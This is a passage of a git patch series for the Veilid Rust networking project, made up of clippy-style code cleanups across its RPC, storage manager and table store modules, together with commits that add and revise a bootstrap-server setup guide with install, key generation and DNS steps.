RPCAnswer::new(RPCAnswerDetail::SetValueA(Box::new(set_value_a)))) .await } } diff --git a/veilid-core/src/rpc_processor/rpc_signal.rs b/veilid-core/src/rpc_processor/rpc_signal.rs index 3226ae00..df041188 100644 --- a/veilid-core/src/rpc_processor/rpc_signal.rs +++ b/veilid-core/src/rpc_processor/rpc_signal.rs @@ -26,7 +26,7 @@ impl RPCProcessor { } let signal = RPCOperationSignal::new(signal_info); - let statement = RPCStatement::new(RPCStatementDetail::Signal(signal)); + let statement = RPCStatement::new(RPCStatementDetail::Signal(Box::new(signal))); // Send the signal request self.statement(dest, statement).await diff --git a/veilid-core/src/rpc_processor/rpc_status.rs b/veilid-core/src/rpc_processor/rpc_status.rs index cf4401ab..0160cced 100644 --- a/veilid-core/src/rpc_processor/rpc_status.rs +++ b/veilid-core/src/rpc_processor/rpc_status.rs @@ -101,7 +101,7 @@ impl RPCProcessor { let status_q = RPCOperationStatusQ::new(node_status); let question = RPCQuestion::new( network_result_try!(self.get_destination_respond_to(&dest)?), - RPCQuestionDetail::StatusQ(status_q), + RPCQuestionDetail::StatusQ(Box::new(status_q)), ); let debug_string = format!("Status => {}", dest); @@ -249,7 +249,10 @@ impl RPCProcessor { let status_a = RPCOperationStatusA::new(node_status, sender_info); // Send status answer - self.answer(msg, RPCAnswer::new(RPCAnswerDetail::StatusA(status_a))) - .await + self.answer( + msg, + RPCAnswer::new(RPCAnswerDetail::StatusA(Box::new(status_a))), + ) + .await } } diff --git a/veilid-core/src/rpc_processor/rpc_validate_dial_info.rs b/veilid-core/src/rpc_processor/rpc_validate_dial_info.rs index bd9823fd..2a97d88a 100644 --- a/veilid-core/src/rpc_processor/rpc_validate_dial_info.rs +++ b/veilid-core/src/rpc_processor/rpc_validate_dial_info.rs @@ -21,7 +21,9 @@ impl RPCProcessor { .map_err(RPCError::internal)?; let validate_dial_info = RPCOperationValidateDialInfo::new(dial_info, receipt, redirect)?; - let statement = RPCStatement::new(RPCStatementDetail::ValidateDialInfo(validate_dial_info)); + let statement = RPCStatement::new(RPCStatementDetail::ValidateDialInfo(Box::new( + validate_dial_info, + ))); // Send the validate_dial_info request // This can only be sent directly, as relays can not validate dial info @@ -153,8 +155,9 @@ impl RPCProcessor { // Make a copy of the request, without the redirect flag let validate_dial_info = RPCOperationValidateDialInfo::new(dial_info.clone(), receipt.clone(), false)?; - let statement = - RPCStatement::new(RPCStatementDetail::ValidateDialInfo(validate_dial_info)); + let statement = RPCStatement::new(RPCStatementDetail::ValidateDialInfo(Box::new( + validate_dial_info, + ))); // Send the validate_dial_info request // This can only be sent directly, as relays can not validate dial info diff --git a/veilid-core/src/storage_manager/debug.rs b/veilid-core/src/storage_manager/debug.rs index ba2c43c3..8a8328b5 100644 --- a/veilid-core/src/storage_manager/debug.rs +++ b/veilid-core/src/storage_manager/debug.rs @@ -23,7 +23,7 @@ impl StorageManager { let reclaimed = local_record_store .reclaim_space(reclaim.unwrap_or(usize::MAX)) .await; - return format!("Local records purged: reclaimed {} bytes", reclaimed); + format!("Local records purged: reclaimed {} bytes", reclaimed) } pub(crate) async fn purge_remote_records(&self, reclaim: Option) -> String { let mut inner = self.inner.lock().await; @@ -33,7 +33,7 @@ impl StorageManager { let reclaimed = remote_record_store .reclaim_space(reclaim.unwrap_or(usize::MAX)) .await; - return format!("Remote records purged: reclaimed {} bytes", reclaimed); + format!("Remote records purged: reclaimed {} bytes", reclaimed) } pub(crate) async fn debug_local_record_subkey_info( &self, diff --git a/veilid-core/src/storage_manager/limited_size.rs b/veilid-core/src/storage_manager/limited_size.rs index 22a4a93b..d7b8f9cf 100644 --- a/veilid-core/src/storage_manager/limited_size.rs +++ b/veilid-core/src/storage_manager/limited_size.rs @@ -103,10 +103,10 @@ impl LimitedSize { if let Some(uv) = self.uncommitted_value.take() { log_stor!(debug "Rollback ({}): {} (drop {})", self.description, self.value, uv); } - return self.value; + self.value } pub fn get(&self) -> T { - return self.value; + self.value } } diff --git a/veilid-core/src/storage_manager/mod.rs b/veilid-core/src/storage_manager/mod.rs index 05ef39c1..0b28b71b 100644 --- a/veilid-core/src/storage_manager/mod.rs +++ b/veilid-core/src/storage_manager/mod.rs @@ -133,9 +133,7 @@ impl StorageManager { } fn online_writes_ready_inner(inner: &StorageManagerInner) -> Option { - if let Some(rpc_processor) = { - inner.rpc_processor.clone() - } { + if let Some(rpc_processor) = { inner.rpc_processor.clone() } { if let Some(network_class) = rpc_processor .routing_table() .get_network_class(RoutingDomain::PublicInternet) @@ -158,12 +156,12 @@ impl StorageManager { async fn online_writes_ready(&self) -> EyreResult> { let inner = self.lock().await?; - return Ok(Self::online_writes_ready_inner(&*inner)); + Ok(Self::online_writes_ready_inner(&inner)) } async fn has_offline_subkey_writes(&self) -> EyreResult { let inner = self.lock().await?; - Ok(inner.offline_subkey_writes.len() != 0) + Ok(!inner.offline_subkey_writes.is_empty()) } /// Create a local record from scratch with a new owner key, open it, and return the opened descriptor @@ -394,7 +392,7 @@ impl StorageManager { // Make new subkey data let value_data = if let Some(last_signed_value_data) = last_subkey_result.value { - if last_signed_value_data.value_data().data() == &data + if last_signed_value_data.value_data().data() == data && last_signed_value_data.value_data().writer() == &writer.key { // Data and writer is the same, nothing is changing, @@ -433,13 +431,17 @@ impl StorageManager { log_stor!(debug "Writing subkey offline: {}:{} len={}", key, subkey, signed_value_data.value_data().data().len() ); // Add to offline writes to flush - inner.offline_subkey_writes.entry(key) - .and_modify(|x| { x.subkeys.insert(subkey); } ) - .or_insert(OfflineSubkeyWrite{ - safety_selection, - subkeys: ValueSubkeyRangeSet::single(subkey) + inner + .offline_subkey_writes + .entry(key) + .and_modify(|x| { + x.subkeys.insert(subkey); + }) + .or_insert(OfflineSubkeyWrite { + safety_selection, + subkeys: ValueSubkeyRangeSet::single(subkey), }); - return Ok(None) + return Ok(None); }; // Drop the lock for network access diff --git a/veilid-core/src/storage_manager/record_store.rs b/veilid-core/src/storage_manager/record_store.rs index 8a52d93a..401d855d 100644 --- a/veilid-core/src/storage_manager/record_store.rs +++ b/veilid-core/src/storage_manager/record_store.rs @@ -65,7 +65,7 @@ where D: fmt::Debug + Clone + Serialize + for<'d> Deserialize<'d>, { pub fn new(table_store: TableStore, name: &str, limits: RecordStoreLimits) -> Self { - let subkey_cache_size = limits.subkey_cache_size as usize; + let subkey_cache_size = limits.subkey_cache_size; let limit_subkey_cache_total_size = limits .max_subkey_cache_memory_mb .map(|mb| mb * 1_048_576usize); @@ -104,7 +104,7 @@ where .await?; let subkey_table = self .table_store - .open(&&format!("{}_subkeys", self.name), 1) + .open(&format!("{}_subkeys", self.name), 1) .await?; // Pull record index from table into a vector to ensure we sort them @@ -126,7 +126,7 @@ where self.total_storage_space .add((mem::size_of::() + ri.1.total_size()) as u64) .unwrap(); - if let Err(_) = self.total_storage_space.commit() { + if self.total_storage_space.commit().is_err() { // Revert the total storage space because the commit failed self.total_storage_space.rollback(); @@ -449,11 +449,15 @@ where ) -> VeilidAPIResult> { // Get record from index let Some((subkey_count, has_subkey, opt_descriptor)) = self.with_record(key, |record| { - (record.subkey_count(), record.stored_subkeys().contains(subkey), if want_descriptor { - Some(record.descriptor().clone()) - } else { - None - }) + ( + record.subkey_count(), + record.stored_subkeys().contains(subkey), + if want_descriptor { + Some(record.descriptor().clone()) + } else { + None + }, + ) }) else { // Record not available return Ok(None); @@ -492,19 +496,20 @@ where let Some(record_data) = subkey_table .load_json::(0, &stk.bytes()) .await - .map_err(VeilidAPIError::internal)? else { - apibail_internal!("failed to get subkey that was stored"); - }; + .map_err(VeilidAPIError::internal)? + else { + apibail_internal!("failed to get subkey that was stored"); + }; let out = record_data.signed_value_data().clone(); // Add to cache, do nothing with lru out self.add_to_subkey_cache(stk, record_data); - return Ok(Some(SubkeyResult { + Ok(Some(SubkeyResult { value: Some(out), descriptor: opt_descriptor, - })); + })) } pub(crate) async fn peek_subkey( @@ -515,11 +520,15 @@ where ) -> VeilidAPIResult> { // record from index let Some((subkey_count, has_subkey, opt_descriptor)) = self.peek_record(key, |record| { - (record.subkey_count(), record.stored_subkeys().contains(subkey), if want_descriptor { - Some(record.descriptor().clone()) - } else { - None - }) + ( + record.subkey_count(), + record.stored_subkeys().contains(subkey), + if want_descriptor { + Some(record.descriptor().clone()) + } else { + None + }, + ) }) else { // Record not available return Ok(None); @@ -558,16 +567,17 @@ where let Some(record_data) = subkey_table .load_json::(0, &stk.bytes()) .await - .map_err(VeilidAPIError::internal)? else { - apibail_internal!("failed to peek subkey that was stored"); - }; + .map_err(VeilidAPIError::internal)? + else { + apibail_internal!("failed to peek subkey that was stored"); + }; let out = record_data.signed_value_data().clone(); - return Ok(Some(SubkeyResult { + Ok(Some(SubkeyResult { value: Some(out), descriptor: opt_descriptor, - })); + })) } pub async fn set_subkey( @@ -692,7 +702,7 @@ where for (rik, rec) in &self.record_index { out += &format!( " {} age={} len={} subkeys={}\n", - rik.key.to_string(), + rik.key, debug_duration(get_timestamp() - rec.last_touched().as_u64()), rec.record_data_size(), rec.stored_subkeys(), @@ -706,11 +716,11 @@ where out += &format!("Total Storage Space: {}\n", self.total_storage_space.get()); out += &format!("Dead Records: {}\n", self.dead_records.len()); for dr in &self.dead_records { - out += &format!(" {}\n", dr.key.key.to_string()); + out += &format!(" {}\n", dr.key.key); } out += &format!("Changed Records: {}\n", self.changed_records.len()); for cr in &self.changed_records { - out += &format!(" {}\n", cr.key.to_string()); + out += &format!(" {}\n", cr.key); } out diff --git a/veilid-core/src/storage_manager/storage_manager_inner.rs b/veilid-core/src/storage_manager/storage_manager_inner.rs index 9a8815da..8eb8c0b6 100644 --- a/veilid-core/src/storage_manager/storage_manager_inner.rs +++ b/veilid-core/src/storage_manager/storage_manager_inner.rs @@ -37,9 +37,7 @@ fn local_limits_from_config(config: VeilidConfig) -> RecordStoreLimits { max_subkey_size: MAX_SUBKEY_SIZE, max_record_total_size: MAX_RECORD_DATA_SIZE, max_records: None, - max_subkey_cache_memory_mb: Some( - c.network.dht.local_max_subkey_cache_memory_mb as usize, - ), + max_subkey_cache_memory_mb: Some(c.network.dht.local_max_subkey_cache_memory_mb as usize), max_storage_space_mb: None, } } @@ -51,9 +49,7 @@ fn remote_limits_from_config(config: VeilidConfig) -> RecordStoreLimits { max_subkey_size: MAX_SUBKEY_SIZE, max_record_total_size: MAX_RECORD_DATA_SIZE, max_records: Some(c.network.dht.remote_max_records as usize), - max_subkey_cache_memory_mb: Some( - c.network.dht.remote_max_subkey_cache_memory_mb as usize, - ), + max_subkey_cache_memory_mb: Some(c.network.dht.remote_max_subkey_cache_memory_mb as usize), max_storage_space_mb: Some(c.network.dht.remote_max_storage_space_mb as usize), } } @@ -74,8 +70,8 @@ impl StorageManagerInner { } pub async fn init(&mut self, outer_self: StorageManager) -> EyreResult<()> { - - let metadata_db = self.unlocked_inner + let metadata_db = self + .unlocked_inner .table_store .open(STORAGE_MANAGER_METADATA, 1) .await?; @@ -120,7 +116,6 @@ impl StorageManagerInner { } pub async fn terminate(&mut self) { - // Stop ticker let tick_future = self.tick_future.take(); if let Some(f) = tick_future { @@ -130,19 +125,19 @@ impl StorageManagerInner { // Final flush on record stores if let Some(mut local_record_store) = self.local_record_store.take() { if let Err(e) = local_record_store.tick().await { - log_stor!(error "termination local record store tick failed: {}", e); + log_stor!(error "termination local record store tick failed: {}", e); } } if let Some(mut remote_record_store) = self.remote_record_store.take() { if let Err(e) = remote_record_store.tick().await { - log_stor!(error "termination remote record store tick failed: {}", e); + log_stor!(error "termination remote record store tick failed: {}", e); } } // Save metadata if self.metadata_db.is_some() { if let Err(e) = self.save_metadata().await { - log_stor!(error "termination metadata save failed: {}", e); + log_stor!(error "termination metadata save failed: {}", e); } self.metadata_db = None; } @@ -152,7 +147,7 @@ impl StorageManagerInner { self.initialized = false; } - async fn save_metadata(&mut self) -> EyreResult<()>{ + async fn save_metadata(&mut self) -> EyreResult<()> { if let Some(metadata_db) = &self.metadata_db { let tx = metadata_db.transact(); tx.store_json(0, OFFLINE_SUBKEY_WRITES, &self.offline_subkey_writes)?; @@ -163,7 +158,8 @@ impl StorageManagerInner { async fn load_metadata(&mut self) -> EyreResult<()> { if let Some(metadata_db) = &self.metadata_db { - self.offline_subkey_writes = match metadata_db.load_json(0, OFFLINE_SUBKEY_WRITES).await { + self.offline_subkey_writes = match metadata_db.load_json(0, OFFLINE_SUBKEY_WRITES).await + { Ok(v) => v.unwrap_or_default(), Err(_) => { if let Err(e) = metadata_db.delete(0, OFFLINE_SUBKEY_WRITES).await { @@ -218,13 +214,16 @@ impl StorageManagerInner { Ok((dht_key, owner)) } - async fn move_remote_record_to_local(&mut self, key: TypedKey, safety_selection: SafetySelection) -> VeilidAPIResult> - { + async fn move_remote_record_to_local( + &mut self, + key: TypedKey, + safety_selection: SafetySelection, + ) -> VeilidAPIResult> { // Get local record store let Some(local_record_store) = self.local_record_store.as_mut() else { apibail_not_initialized!(); }; - + // Get remote record store let Some(remote_record_store) = self.remote_record_store.as_mut() else { apibail_not_initialized!(); @@ -241,31 +240,36 @@ impl StorageManagerInner { // Make local record let cur_ts = get_aligned_timestamp(); - let local_record = Record::new(cur_ts, remote_record.descriptor().clone(), LocalRecordDetail { - safety_selection - })?; + let local_record = Record::new( + cur_ts, + remote_record.descriptor().clone(), + LocalRecordDetail { safety_selection }, + )?; local_record_store.new_record(key, local_record).await?; // Move copy subkey data from remote to local store for subkey in remote_record.stored_subkeys().iter() { - let Some(subkey_result) = remote_record_store.get_subkey(key, subkey, false).await? else { + let Some(subkey_result) = remote_record_store.get_subkey(key, subkey, false).await? + else { // Subkey was missing - warn!("Subkey was missing: {} #{}",key, subkey); + warn!("Subkey was missing: {} #{}", key, subkey); continue; }; let Some(subkey_data) = subkey_result.value else { // Subkey was missing - warn!("Subkey data was missing: {} #{}",key, subkey); + warn!("Subkey data was missing: {} #{}", key, subkey); continue; }; - local_record_store.set_subkey(key, subkey, subkey_data).await?; + local_record_store + .set_subkey(key, subkey, subkey_data) + .await?; } // Delete remote record from store remote_record_store.delete_record(key).await?; // Return record information as transferred to local record - Ok(Some((remote_record.owner().clone(), remote_record.schema()))) + Ok(Some((*remote_record.owner(), remote_record.schema()))) } pub async fn open_existing_record( @@ -292,14 +296,17 @@ impl StorageManagerInner { r.detail_mut().safety_selection = safety_selection; // Return record details - (r.owner().clone(), r.schema()) + (*r.owner(), r.schema()) }; - let (owner, schema) = match local_record_store.with_record_mut(key, cb){ + let (owner, schema) = match local_record_store.with_record_mut(key, cb) { Some(v) => v, None => { // If we don't have a local record yet, check to see if we have a remote record // if so, migrate it to a local record - let Some(v) = self.move_remote_record_to_local(key, safety_selection).await? else { + let Some(v) = self + .move_remote_record_to_local(key, safety_selection) + .await? + else { // No remote record either return Ok(None); }; @@ -348,7 +355,7 @@ impl StorageManagerInner { apibail_generic!("no descriptor"); }; // Get owner - let owner = signed_value_descriptor.owner().clone(); + let owner = *signed_value_descriptor.owner(); // If the writer we chose is also the owner, we have the owner secret // Otherwise this is just another subkey writer @@ -410,7 +417,10 @@ impl StorageManagerInner { let Some(local_record_store) = self.local_record_store.as_mut() else { apibail_not_initialized!(); }; - if let Some(subkey_result) = local_record_store.get_subkey(key, subkey, want_descriptor).await? { + if let Some(subkey_result) = local_record_store + .get_subkey(key, subkey, want_descriptor) + .await? + { return Ok(subkey_result); } @@ -428,7 +438,7 @@ impl StorageManagerInner { ) -> VeilidAPIResult<()> { // See if it's in the local record store let Some(local_record_store) = self.local_record_store.as_mut() else { - apibail_not_initialized!(); + apibail_not_initialized!(); }; // Write subkey to local store @@ -449,7 +459,10 @@ impl StorageManagerInner { let Some(remote_record_store) = self.remote_record_store.as_mut() else { apibail_not_initialized!(); }; - if let Some(subkey_result) = remote_record_store.get_subkey(key, subkey, want_descriptor).await? { + if let Some(subkey_result) = remote_record_store + .get_subkey(key, subkey, want_descriptor) + .await? + { return Ok(subkey_result); } @@ -472,12 +485,15 @@ impl StorageManagerInner { }; // See if we have a remote record already or not - if remote_record_store.with_record(key, |_|{}).is_none() { + if remote_record_store.with_record(key, |_| {}).is_none() { // record didn't exist, make it let cur_ts = get_aligned_timestamp(); - let remote_record_detail = RemoteRecordDetail { }; - let record = - Record::::new(cur_ts, signed_value_descriptor, remote_record_detail)?; + let remote_record_detail = RemoteRecordDetail {}; + let record = Record::::new( + cur_ts, + signed_value_descriptor, + remote_record_detail, + )?; remote_record_store.new_record(key, record).await? }; diff --git a/veilid-core/src/storage_manager/types/signed_value_data.rs b/veilid-core/src/storage_manager/types/signed_value_data.rs index 5724f0c3..8a8fb0d5 100644 --- a/veilid-core/src/storage_manager/types/signed_value_data.rs +++ b/veilid-core/src/storage_manager/types/signed_value_data.rs @@ -24,7 +24,7 @@ impl SignedValueData { ) -> VeilidAPIResult<()> { let node_info_bytes = Self::make_signature_bytes(&self.value_data, owner, subkey)?; // validate signature - vcrypto.verify(&self.value_data.writer(), &node_info_bytes, &self.signature) + vcrypto.verify(self.value_data.writer(), &node_info_bytes, &self.signature) } pub fn make_signature( @@ -37,7 +37,7 @@ impl SignedValueData { let node_info_bytes = Self::make_signature_bytes(&value_data, owner, subkey)?; // create signature - let signature = vcrypto.sign(&value_data.writer(), &writer_secret, &node_info_bytes)?; + let signature = vcrypto.sign(value_data.writer(), &writer_secret, &node_info_bytes)?; Ok(Self { value_data, signature, diff --git a/veilid-core/src/table_store/tests/test_table_store.rs b/veilid-core/src/table_store/tests/test_table_store.rs index 9bb503b3..c0056c54 100644 --- a/veilid-core/src/table_store/tests/test_table_store.rs +++ b/veilid-core/src/table_store/tests/test_table_store.rs @@ -18,7 +18,7 @@ async fn shutdown(api: VeilidAPI) { pub async fn test_delete_open_delete(ts: TableStore) { trace!("test_delete_open_delete"); - let _ = ts.delete("test"); + let _ = ts.delete("test").await; let db = ts.open("test", 3).await.expect("should have opened"); assert!( ts.delete("test").await.is_err(), @@ -50,7 +50,7 @@ pub async fn test_delete_open_delete(ts: TableStore) { pub async fn test_store_delete_load(ts: TableStore) { trace!("test_store_delete_load"); - let _ = ts.delete("test"); + ts.delete("test").await; let db = ts.open("test", 3).await.expect("should have opened"); assert!( ts.delete("test").await.is_err(), @@ -135,7 +135,7 @@ pub async fn test_store_delete_load(ts: TableStore) { pub async fn test_transaction(ts: TableStore) { trace!("test_transaction"); - let _ = ts.delete("test"); + let _ = ts.delete("test").await; let db = ts.open("test", 3).await.expect("should have opened"); assert!( ts.delete("test").await.is_err(), @@ -165,7 +165,7 @@ pub async fn test_transaction(ts: TableStore) { pub async fn test_json(vcrypto: CryptoSystemVersion, ts: TableStore) { trace!("test_json"); - let _ = ts.delete("test"); + let _ = ts.delete("test").await; let db = ts.open("test", 3).await.expect("should have opened"); let keypair = vcrypto.generate_keypair(); @@ -229,10 +229,10 @@ pub async fn test_protect_unprotect(vcrypto: CryptoSystemVersion, ts: TableStore for password in passwords { let dek_bytes = ts .maybe_protect_device_encryption_key(dek, password) - .expect(&format!("protect: dek: '{}' pw: '{}'", dek, password)); + .unwrap_or_else(|_| panic!("protect: dek: '{}' pw: '{}'", dek, password)); let unprotected = ts .maybe_unprotect_device_encryption_key(&dek_bytes, password) - .expect(&format!("unprotect: dek: '{}' pw: '{}'", dek, password)); + .unwrap_or_else(|_| panic!("unprotect: dek: '{}' pw: '{}'", dek, password)); assert_eq!(unprotected, dek); let invalid_password = format!("{}x", password); let _ = ts @@ -241,7 +241,7 @@ pub async fn test_protect_unprotect(vcrypto: CryptoSystemVersion, ts: TableStore "invalid_password: dek: '{}' pw: '{}'", dek, &invalid_password )); - if password != "" { + if !password.is_empty() { let _ = ts .maybe_unprotect_device_encryption_key(&dek_bytes, "") .expect_err(&format!("empty_password: dek: '{}' pw: ''", dek)); From 09916efcf0fdd17df1aac5e83033467028bb6348 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Mon, 18 Sep 2023 08:57:26 -0500 Subject: [PATCH 57/86] Add bootstrap setup instructions Guide to setting up bootstrap servers --- # Starting a Bootstrap.md | 76 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100755 # Starting a Bootstrap.md diff --git a/# Starting a Bootstrap.md b/# Starting a Bootstrap.md new file mode 100755 index 00000000..f4dd3b5f --- /dev/null +++ b/# Starting a Bootstrap.md @@ -0,0 +1,76 @@ +# Starting a Veilid Bootstrap Server +## Instance Recommended Setup +CPU: Single +RAM: 1GB +Storage: 25GB +IP: Static v4 & v6 +Firewall: 5150/TCP/UDP inbound allow all + +## Install Veilid +**As root** + + ```shell +wget -O- https://packages.veilid.net/keys/veilid-packages-key.public | gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg +``` +```shell +echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/repos stable main" > /etc/apt/sources.list.d/veilid.list +``` +```shell +apt update && apt install veilid-server veilid-cli +``` + +## Configure Veilid +**As root** + +### Stop the Veilid service +```shell +systemctl stop veilid-server.service +``` + +### Setup the config +In _/etc/veilid-server/veilid-server.conf`_ ensure _bootstrap: ['bootstrap.veilid.net']_ in the _routing_table:_ section + +**Switch to veilid user** +```shell +sudo -u veilid /bin/bash +``` + +### Generate a new keypair +Copy the output to secure storage. +```shell +veilid-server --generate-key-pair +``` + +### Create new node ID and flush existing route table +Include the brackets [] when pasting the keys. Use the public key in the command. Secret key will be request interacitvly and will not echo when pasted. +```shell +veilid-server --set-node-id [PUBLIC_KEY] --delete-table-store +``` +### Generate the DNS TXT record +Copy the output to secure storage. +```shell +veilid-server --dump-txt-record +``` + +**Switch back to root** +### Start the Veilid service +```shell +systemctl start veilid-server.service +``` + +_REPEAT FOR EACH BOOTSTRAP SERVER_ + +## Enter DNS Records +Create the following DNS Records for your domain: + +(This example assumes two bootstrap serves are being created) + +| Record | Value | Record Type | +|-----------|-----------------------------|-------------| +|bootstrap | 1,2 | TXT | +|1.bootstrap| IPv4 | A | +|1.bootstrap| IPv6 | AAAA | +|1.bootstrap| output of --dump-txt-record | TXT | +|2.bootstrap| IPv4 | A | +|2.bootstrap| IPv6 | AAAA | +|2.bootstrap| output of --dump-txt-record | TXT | From 9f92d486b85477d02445a2f5b727dfa3e6804050 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Mon, 18 Sep 2023 09:00:30 -0500 Subject: [PATCH 58/86] Rename bootstrap setup file Renamed to match other docs format --- # Starting a Bootstrap.md => BOOTSTRAP-SETUP.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename # Starting a Bootstrap.md => BOOTSTRAP-SETUP.md (100%) diff --git a/# Starting a Bootstrap.md b/BOOTSTRAP-SETUP.md similarity index 100% rename from # Starting a Bootstrap.md rename to BOOTSTRAP-SETUP.md From 1e27df2aee49a19f0b2c492d74ed0821f94aee7f Mon Sep 17 00:00:00 2001 From: TC Date: Mon, 18 Sep 2023 14:10:19 +0000 Subject: [PATCH 59/86] Update BOOTSTRAP-SETUP.md --- BOOTSTRAP-SETUP.md | 142 +++++++++++++++++++++------------------------ 1 file changed, 66 insertions(+), 76 deletions(-) diff --git a/BOOTSTRAP-SETUP.md b/BOOTSTRAP-SETUP.md index f4dd3b5f..4aa08c0d 100755 --- a/BOOTSTRAP-SETUP.md +++ b/BOOTSTRAP-SETUP.md @@ -1,76 +1,66 @@ -# Starting a Veilid Bootstrap Server -## Instance Recommended Setup -CPU: Single -RAM: 1GB -Storage: 25GB -IP: Static v4 & v6 -Firewall: 5150/TCP/UDP inbound allow all - -## Install Veilid -**As root** - - ```shell -wget -O- https://packages.veilid.net/keys/veilid-packages-key.public | gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg -``` -```shell -echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/repos stable main" > /etc/apt/sources.list.d/veilid.list -``` -```shell -apt update && apt install veilid-server veilid-cli -``` - -## Configure Veilid -**As root** - -### Stop the Veilid service -```shell -systemctl stop veilid-server.service -``` - -### Setup the config -In _/etc/veilid-server/veilid-server.conf`_ ensure _bootstrap: ['bootstrap.veilid.net']_ in the _routing_table:_ section - -**Switch to veilid user** -```shell -sudo -u veilid /bin/bash -``` - -### Generate a new keypair -Copy the output to secure storage. -```shell -veilid-server --generate-key-pair -``` - -### Create new node ID and flush existing route table -Include the brackets [] when pasting the keys. Use the public key in the command. Secret key will be request interacitvly and will not echo when pasted. -```shell -veilid-server --set-node-id [PUBLIC_KEY] --delete-table-store -``` -### Generate the DNS TXT record -Copy the output to secure storage. -```shell -veilid-server --dump-txt-record -``` - -**Switch back to root** -### Start the Veilid service -```shell -systemctl start veilid-server.service -``` - -_REPEAT FOR EACH BOOTSTRAP SERVER_ - -## Enter DNS Records -Create the following DNS Records for your domain: - -(This example assumes two bootstrap serves are being created) - -| Record | Value | Record Type | -|-----------|-----------------------------|-------------| -|bootstrap | 1,2 | TXT | -|1.bootstrap| IPv4 | A | -|1.bootstrap| IPv6 | AAAA | -|1.bootstrap| output of --dump-txt-record | TXT | -|2.bootstrap| IPv4 | A | -|2.bootstrap| IPv6 | AAAA | -|2.bootstrap| output of --dump-txt-record | TXT | +# Starting a Veilid Bootstrap Server +## Instance Recommended Setup +CPU: Single +RAM: 1GB +Storage: 25GB +IP: Static v4 & v6 +Firewall: 5150/TCP/UDP inbound allow all + +## Install Veilid +Follow instructions in [INSTALL.md](./INSTALL.md) + +## Configure Veilid +**As root** + +### Stop the Veilid service +```shell +systemctl stop veilid-server.service +``` + +### Setup the config +In _/etc/veilid-server/veilid-server.conf`_ ensure _bootstrap: ['bootstrap.']_ in the _routing_table:_ section + +**Switch to veilid user** +```shell +sudo -u veilid /bin/bash +``` + +### Generate a new keypair +Copy the output to secure storage. +```shell +veilid-server --generate-key-pair +``` + +### Create new node ID and flush existing route table +Include the brackets [] when pasting the keys. Use the public key in the command. Secret key will be request interacitvly and will not echo when pasted. +```shell +veilid-server --set-node-id [PUBLIC_KEY] --delete-table-store +``` +### Generate the DNS TXT record +Copy the output to secure storage. +```shell +veilid-server --dump-txt-record +``` + +**Switch back to root** +### Start the Veilid service +```shell +systemctl start veilid-server.service +``` + +_REPEAT FOR EACH BOOTSTRAP SERVER_ + +## Enter DNS Records +Create the following DNS Records for your domain: + +(This example assumes two bootstrap serves are being created) + +| Record | Value | Record Type | +|-----------|-----------------------------|-------------| +|bootstrap | 1,2 | TXT | +|1.bootstrap| IPv4 | A | +|1.bootstrap| IPv6 | AAAA | +|1.bootstrap| output of --dump-txt-record | TXT | +|2.bootstrap| IPv4 | A | +|2.bootstrap| IPv6 | AAAA | +|2.bootstrap| output of --dump-txt-record | TXT | From f596b3ce0519331224cd938e666f0a6f15410a7a Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Mon, 18 Sep 2023 15:22:40 -0400 Subject: [PATCH 60/86] more clippy --- veilid-core/src/api_tracing_layer.rs | 4 +- veilid-core/src/attachment_manager.rs | 16 +- veilid-core/src/crypto/tests/test_types.rs | 18 +- veilid-core/src/network_manager/stats.rs | 10 +- veilid-core/src/receipt_manager.rs | 29 +- .../src/routing_table/route_spec_store/mod.rs | 4 +- veilid-core/src/rpc_processor/rpc_app_call.rs | 4 +- .../src/rpc_processor/rpc_app_message.rs | 4 +- veilid-core/src/table_store/mod.rs | 581 ++++++++++++++++- veilid-core/src/table_store/native.rs | 4 +- veilid-core/src/table_store/table_store.rs | 589 ------------------ .../src/table_store/tests/test_table_store.rs | 2 +- .../src/tests/common/test_protected_store.rs | 40 +- .../src/tests/common/test_veilid_config.rs | 38 +- veilid-core/src/veilid_api/api.rs | 4 +- veilid-core/src/veilid_api/debug.rs | 73 ++- veilid-core/src/veilid_api/json_api/mod.rs | 4 +- .../src/veilid_api/json_api/process.rs | 48 +- .../veilid_api/json_api/routing_context.rs | 4 +- .../serialize_helpers/compression.rs | 2 +- .../serialize_helpers/serialize_json.rs | 6 +- .../src/veilid_api/tests/test_types.rs | 24 +- .../src/veilid_api/types/dht/schema/dflt.rs | 2 +- .../src/veilid_api/types/dht/schema/smpl.rs | 2 +- .../types/dht/value_subkey_range_set.rs | 7 +- .../src/veilid_api/types/veilid_state.rs | 22 +- veilid-core/src/veilid_config.rs | 14 +- veilid-server/src/client_api.rs | 10 +- veilid-server/src/main.rs | 26 +- veilid-server/src/server.rs | 21 +- veilid-server/src/settings.rs | 76 ++- veilid-server/src/unix.rs | 4 +- 32 files changed, 839 insertions(+), 853 deletions(-) delete mode 100644 veilid-core/src/table_store/table_store.rs diff --git a/veilid-core/src/api_tracing_layer.rs b/veilid-core/src/api_tracing_layer.rs index 8de371ec..44b9b67a 100644 --- a/veilid-core/src/api_tracing_layer.rs +++ b/veilid-core/src/api_tracing_layer.rs @@ -103,11 +103,11 @@ impl registry::LookupSpan<'a>> Layer for ApiTracingLa None }; - (inner.update_callback)(VeilidUpdate::Log(VeilidLog { + (inner.update_callback)(VeilidUpdate::Log(Box::new(VeilidLog { log_level, message, backtrace, - })) + }))) } } } diff --git a/veilid-core/src/attachment_manager.rs b/veilid-core/src/attachment_manager.rs index 14b7856d..40fa9b78 100644 --- a/veilid-core/src/attachment_manager.rs +++ b/veilid-core/src/attachment_manager.rs @@ -168,7 +168,7 @@ impl AttachmentManager { }) .unwrap_or(true); if send_update { - Some((update_callback, Self::get_veilid_state_inner(&*inner))) + Some((update_callback, Self::get_veilid_state_inner(&inner))) } else { None } @@ -197,11 +197,11 @@ impl AttachmentManager { }; if let Some(update_callback) = update_callback { - update_callback(VeilidUpdate::Attachment(VeilidStateAttachment { + update_callback(VeilidUpdate::Attachment(Box::new(VeilidStateAttachment { state, public_internet_ready: false, local_network_ready: false, - })) + }))) } } @@ 